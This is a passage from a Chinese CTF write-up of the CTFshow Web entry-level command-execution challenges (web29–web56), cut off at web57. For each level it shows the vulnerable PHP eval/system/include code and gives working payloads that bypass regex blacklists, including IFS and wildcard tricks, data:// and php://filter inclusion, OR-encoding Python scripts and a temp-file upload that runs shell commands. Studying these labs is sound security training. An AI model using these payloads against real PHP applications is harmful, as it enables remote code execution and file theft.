【CTFSHOW_Web入门】命令执行

文章目录


命令执行

web29

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 flag

payload

php 复制代码
?c=system("tac%20fla*");

web30

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flagsystemphp

payload

php 复制代码
?c=passthru("tac%20fla*");

web31

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题解一

system被过滤可以用passthru函数绕过, cat 被过滤可以用more、less、nl绕过(但我试过more不行??),空格被过滤可以用${IFS}%09 绕过。

空格绕过

{IFS} 但不能写作 IFS

IFS9

%09

<>

<

$IFS%09

payload

php 复制代码
?c=passthru("tac%09fla*");

题解二

c 作为跳板执行另一个参数a的命令,a 的命令不受限制

php 复制代码
?c=eval($_GET[a]);&a=system("cat flag.php");#之后F12查看源代码

?c=eval($_GET[a]);&a=system("tac flag.php");

web32

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 单引号、反引号、分号 等符号

文件包含漏洞
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了双引号,用数组作为参数即可绕过

题解一

同上

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

题解二

php 复制代码
?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了冒号、括号

不能使用 echo
不能使用eval 因为需要括号

同上
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 尖括号、等于号

同上
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了数字

同上
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload

php 复制代码
?c=data://text/plain,<?php system("tac fla*");?>
  • 当你使用 ?c=data://text/plain,<?php system("tac fla*");?> 时,PHP 会通过 data:// 伪协议动态生成一个 PHP 文件,并将其内容当作 PHP 代码来执行。
  • include() 的作用是加载这个动态生成的文件内容并执行它。
  • 在这个过程中,system("tac fla*") 被执行,其输出直接写入到 HTTP 响应流中(stdout) ,因此你可以看到 flag.php 的内容。

换句话说,system() 的输出并不是被 include() 捕获,而是直接写入到 HTTP 响应中 。这就是为什么你能看到 flag.php 的内容。


web38

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

题目过滤 "php" "flag"

<?php system("tac fla*");?>进行base64 编码得到 PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpOz8+

但是URl会将 + 解析成空格,所以这个不行

构造payload

php 复制代码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==     

#由<?php system("tac flag.php");?> 进行base64编码而来

或者利用 短标签,将 php 换成=

php 复制代码
?c=data://text/plain,<?=%20system("cat%20fla*");?>
php 复制代码
?c=data://text/plain,<?=%20system("tac%20fla*");?>

web39

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload

php 复制代码
?c=data://text/plain,<?= system("tac fla*");?>

?c=data://text/plain,<?php system("tac fla*");?>

web40

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

无参文件读取

题解一

通过构造payload输出当前文件下的文件名

php 复制代码
print_r(scandir('.'));

但是由于过滤了相关符号,所以不能使用这个payload,要想办法去掉 . 小数点

php 复制代码
getallheaders():返回所有的HTTP头信息,返回的是数组⽽eval要求为字符串,所以要⽤implode()函数将数组转换为字符串

get_defined_vars():该函数的作⽤是获取所有的已定义变量,返回值也是数组,不过是二维数组,⽤var_dump()输出可以看⻅输出的内容,看⻅在第⼏位之后,可以⽤current()函数来获取其值,详细可以看官⽅函数。payload:var_dump(current(get_defined_vars()));

session_id():session_id()可以⽤来获取/设置当前会话 ID,可以⽤这个函数来获取cookie
中的phpsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后⽤hex2bin()函数,即传⼊?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHP
SESSID=706870696e666f28293b
session_start 函数是为了开启session
 
配合使⽤的函数:
print_r(scandir('.')); 查看当前⽬录下的所有⽂件名    print_r输出数组   print输出字符串
var_dump()
localeconv() 函数返回⼀包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第⼀个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动⼀步
end() 将数组的内部指针指向最后⼀个单元
next() 将数组中的内部指针向前移动⼀位
prev() 将数组中的内部指针倒回⼀位
array_reverse() 以相反的元素顺序返回数组

构造payload等价于 print_r(scandir('.'));

php 复制代码
?c=print_r(scandir(current(localeconv())));
?c=print_r(scandir(pos(localeconv())));
?c=print_r(scandir(reset(localeconv())));
php 复制代码
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取。以下payload达到的效果是:输出 flag.php 源码,安全绕过字符过滤器

php 复制代码
?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

$flag="ctfshow{d960f2a2-e9a5-4b80-a806-5e6a0e6b85c6}";

题解二

Step 1: get_defined_vars() 是 PHP 的内置函数,返回当前作用域里定义的所有变量

php 复制代码
?c=print_r(get_defined_vars());

返回结果

php 复制代码
Array (
    [_GET] => Array ( [c] => print_r(get_defined_vars()); )
    [_POST] => Array ( )
    [_COOKIE] => Array ( )
    [_FILES] => Array ( )
    [c] => print_r(get_defined_vars());
)

说明现在已经有变量 $_GET$_POST、还有 c 等都在作用域内。

✅ Step 2: post传参

bash 复制代码
1=phpinfo();

确认通过 POST 成功地注入了一段代码字符串

php 复制代码
Array (
	[_GET] => Array ( [c] => print_r(get_defined_vars()); ) 
	[_POST] => Array ( [1] => phpinfo(); ) 
	[_COOKIE] => Array ( ) 
	[_FILES] => Array ( ) 
	[c] => print_r(get_defined_vars()); 
)

✅ Step 3:返回数组

php 复制代码
?c=print_r(next(get_defined_vars()));

可以成功拿到phpinfo()数组

然后我们想让 eval() 执行这个 phpinfo();,但我们不能直接写 eval($_POST['1']),因为 [] 被正则拦截了。

✅ Step 4:

弹出数组

php 复制代码
array_pop(...)           // 从这个数组中"弹出"最后一个值

$_POST 数组中"取出"我们传的值:phpinfo();

php 复制代码
?c=print_r(array_pop(next(get_defined_vars())));

页面返回 phpinfo() 这意味着我们已经成功拿到了想要执行的恶意代码字符串

✅ Step 5: 执行代码 得到php配置页面

php 复制代码
?c=eval(array_pop(next(get_defined_vars())));

✅ Step 6:post传参

bash 复制代码
1=system("tac fla*");
php 复制代码
用户传入:
?c=eval(array_pop(next(get_defined_vars())))

程序执行:
eval("eval(array_pop(next(get_defined_vars())))")

第一个 eval 执行:
eval(array_pop(next(get_defined_vars())))

第二个 eval 执行:
system("tac fla*");

web41

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这道题过滤了 数字 和 字母 (因为后面 /i 对大小写不敏感),并且不能用 异或、取反、自增等操作(过

$+-^~ ),但是可以用 |(或)

题解一

先通过以下 1.php 脚本生成一个 rce_or.txt,内容是上述可用字符及编码。

php 复制代码
#1.php

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行python脚本(注意cmd目录)

bash 复制代码
...>python rce_or.py http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/
python 复制代码
#rce_or.py
# -*- coding: utf-8 -*-

import requests
import urllib
from sys import *
import os


os.system("php rce_or.php")  #没有将php写入环境变量需手动运行

if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
   
url=argv[1]


def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

题解二

python 复制代码
import re
import requests

available = []
url = "http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/" #  修改URL

for i in range(0,256):
    result = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',chr(i),re.I)
    if result is None:
        available.append(chr(i))

key1 = "system"         #修改命令
key2 = "cat flag.php"   #修改命令
gkey1 = ""
gkey2 = ""
data1 = ""
data2 = ""

def orkey(pos,keys):
    global gkey1
    global gkey2
    for i in range(0,len(available)):
        for j in range(i,len(available)):
            if ord(available[i])|ord(available[j]) == ord(keys[pos]):
                gkey1 += available[i]
                gkey2 += available[j]
                return

for i in range(len(key1)):
    orkey(i,key1)
data1 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"

gkey1 = ""
gkey2 = ""

for i in range(len(key2)):
    orkey(i,key2)
data2 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"

data ={
    "c":data1 + data2
}
res = requests.post(url,data)
print(res.text)

web42

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null ------ "黑洞"设备文件

/dev/null 是 Linux 系统中一个特殊的设备文件,可以看作一个"数据黑洞":

  • 写入 它的所有内容都会被丢弃
  • 读取它则永远什么也得不到(立即返回 EOF)。

📌 常见用途:

操作 意义
command > /dev/null 把标准输出丢弃,禁止输出任何正常信息
command 2> /dev/null 把标准错误丢弃,屏蔽错误信息
command > /dev/null 2>&1 同时屏蔽标准输出和标准错误,终端不会显示任何信息

1>/dev/null 2>&1 的含义和解析

分解成五步解释:

✅ 表达形式:

bash 复制代码
command 1>/dev/null 2>&1

✅ 关键点详解:

表达部分 含义
1> 标准输出(stdout,文件描述符1)的重定向
/dev/null 重定向的目标是黑洞设备文件,等价于"扔掉"
2> 标准错误(stderr,文件描述符2)的重定向
&1 代表"重定向到与文件描述符1相同的地方",即stdout当前的去向

🎯 整体理解:

  • 1>/dev/null:标准输出被重定向到 /dev/null,不显示任何正常信息;
  • 2>&1:标准错误也被重定向到标准输出的目标(此时标准输出已经是 /dev/null),所以错误信息也不显示

✅ 所以最终效果是:所有输出(正常 + 错误)全部被丢弃,终端不会显示任何信息。

题目这里是 $c 参数后面接了个 >/dev/null 2>&1 ,使用> /dev/null 2>&1 将命令结果全部丢弃(不进行回显的意思)

bash 复制代码
;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

构造payload

bash 复制代码
?c=tac fla*;
?c=tac fla*||
?c=tac fla*%0a             #利用换行分隔
?c=cat flag.php||          #之后查看源代码
?c=tac%20fla*%26%26        #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,&需要URL编码

web43

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat

payload参考web42


web44

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag

payload参考web42


web45

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag 空格

payload参考web42

%09 代替空格


web46

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag 空格 数字 $ *

? 代替 * 即可

%09 不是数字

payload参考web42

php 复制代码
?c=tac%09fl?g.php||
?c=tac%09fla?.???||

web47

Php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在前几题基础上过滤了 more less head sort tail

payload不变


web48

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

php 复制代码
?c=tac%09fla?.php||

web49

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

php 复制代码
?c=tac%09fla?.php||

web50

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

想到用 <> 代替 %09

但是发现 <>? 组合的时候是没有回显输出的

所以使用 \ '' 代替 ?

payload

php 复制代码
?c=tac<>fla\g.php||
?c=tac<>fla\g.php%0a    
?c=tac<>fla''g.php||

web51

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 tac

另外同cat功能的函数还有:

cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

php 复制代码
?c=nl<>fl\ag.php||

payload


web52

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 <>

php 复制代码
?c=nl${IFS}fla\g.php||

查看源代码后,发现flag换位置了

查看根目录

php 复制代码
?c=ls${IFS}/||

查看根目录下的 flag 文件(根目录是 /

php 复制代码
?c=nl${IFS}/fla\g||

web53

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

甚至不用命令分隔了

payload

bash 复制代码
?c=nl${IFS}fla\g.php
?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php  #之后查看源代码

web54

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

题解一

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

grep '{' fla?.phpfla?.php 匹配到的文件中,查找含有 { 的文件,并打印出包含 { 的这一行

php 复制代码
?c=grep${IFS}%27{%27${IFS}fla?.php

或者
    
?c=rev${IFS}fla?.php   #没有过滤rev,打印出来的是倒序

题解二

列出当前目录

bash 复制代码
?c=ls

将 flag.php重命名为 a.txt

?c=mv flag.php a.txt

bash 复制代码
?c=mv${IFS}fla?.php${IFS}a.txt

再次查看当前目录,可见重命名成功

bash 复制代码
?c=ls

访问 a.txt 即可

bash 复制代码
/a.txt

题解三

将flag.php的内容复制到b.txt (不知道为什么这里 fla?.php不行)

?c=cp flag.php b.txt

bash 复制代码
?c=cp${IFS}fl??.php${IFS}b.txt

再次查看当前目录,可见复制成功

bash 复制代码
?c=ls

访问 b.txt

bash 复制代码
/b.txt

web55

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

bin目录:

bin为binary的简写主要放置一些系统的必备执行档例如: cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

题解一

把文件 flag.php 的内容用 Base64 编码显示出来!

bash 复制代码
/bin/base64 flag.php

payload:

bash 复制代码
?c=/???/????64 ????.???

题解二

flag.php 文件压缩成:flag.php.bz2

bash 复制代码
/usr/bin/bzip2 flag.php

payload:

bash 复制代码
?c=/???/???/????2 ????.???

访问 /flag.php.bz2 ,下载压缩包

bash 复制代码
/flag.php.bz2

题解三

  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。(最后一个字母一般/大概率为大写)
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 " @ " 与 " [ " 之间。(不包括 @ 和 [ )

构造一个 post 请求并上传文件

html 复制代码
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

随便上传一个文件

抓包

bash 复制代码
在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]

并在上传文件内容添加sh命令:
#!/bin/sh
ls
bash 复制代码
#!/bin/sh
cat flag.php

web56

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在上一题的基础上过滤了数字

题解一

同web55

题解二

python脚本

python 复制代码
#ctfshow_web56.py

import requests
while True:
    url = 'http://6023df13-bdf0-46e7-aeef-aa61e3407731.challenge.ctf.show/?c=. /???/????????[@-[]'   #修改URL
    flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")}   #修改命令
    )
    
    if("ctf" in flag.text):
        print(flag.text)
        break

web57

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
